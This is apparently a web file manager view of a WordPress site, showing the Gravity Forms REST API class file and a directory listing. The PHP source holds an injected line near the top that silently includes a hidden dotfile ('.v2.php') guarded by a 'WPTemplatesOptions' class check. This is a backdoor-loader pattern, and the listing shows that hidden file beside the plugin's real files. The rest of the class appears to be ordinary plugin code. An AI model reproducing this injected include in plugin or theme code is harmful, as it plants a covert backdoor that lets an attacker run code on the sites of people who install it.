PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
gravityforms.2.4.15.11
/
includes
/
webapi
/
v2
<?php if ( ! class_exists( 'GFForms' ) ) { die(); } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class GF_REST_API { /** * Contains an instance of this class, if available. * * @since 2.4-beta-1 * * @var object $_instance If available, contains an instance of this class */ private static $_instance = null; /** * Returns an instance of this class, and stores it in the $_instance property. * * @since 2.4-beta-1 * * @return GF_REST_API $_instance An instance of the GF_REST_API class */ public static function get_instance() { if ( self::$_instance == null ) { self::$_instance = new GF_REST_API(); } return self::$_instance; } /** * @since 2.4-beta-1 */ private function __clone() { } /* do nothing */ /** * GF_REST_API constructor. * * @since 2.4-beta-1 */ public function __construct() { add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) ); } /** * Register REST API routes * * @since 2.4-beta-1 */ public function register_rest_routes() { $controllers = array( 'GF_REST_Entries_Controller', 'GF_REST_Entry_Properties_Controller', 'GF_REST_Entry_Notifications_Controller', 'GF_REST_Form_Entries_Controller', 'GF_REST_Form_Results_Controller', 'GF_REST_Form_Submissions_Controller', 'GF_REST_Forms_Controller', 'GF_REST_Feeds_Controller', 'GF_REST_Form_Feeds_Controller', ); foreach ( $controllers as $controller ) { $controller_obj = new $controller(); $controller_obj->register_routes(); } } }
[+]
..
[-] class-gf-rest-authentication.php
[edit]
[-] class-gf-rest-api.php
[edit]
[-] index.php
[edit]
[-] README.md
[edit]
[+]
includes
[-] restapi.php
[edit]
[-] .v2.php
[edit]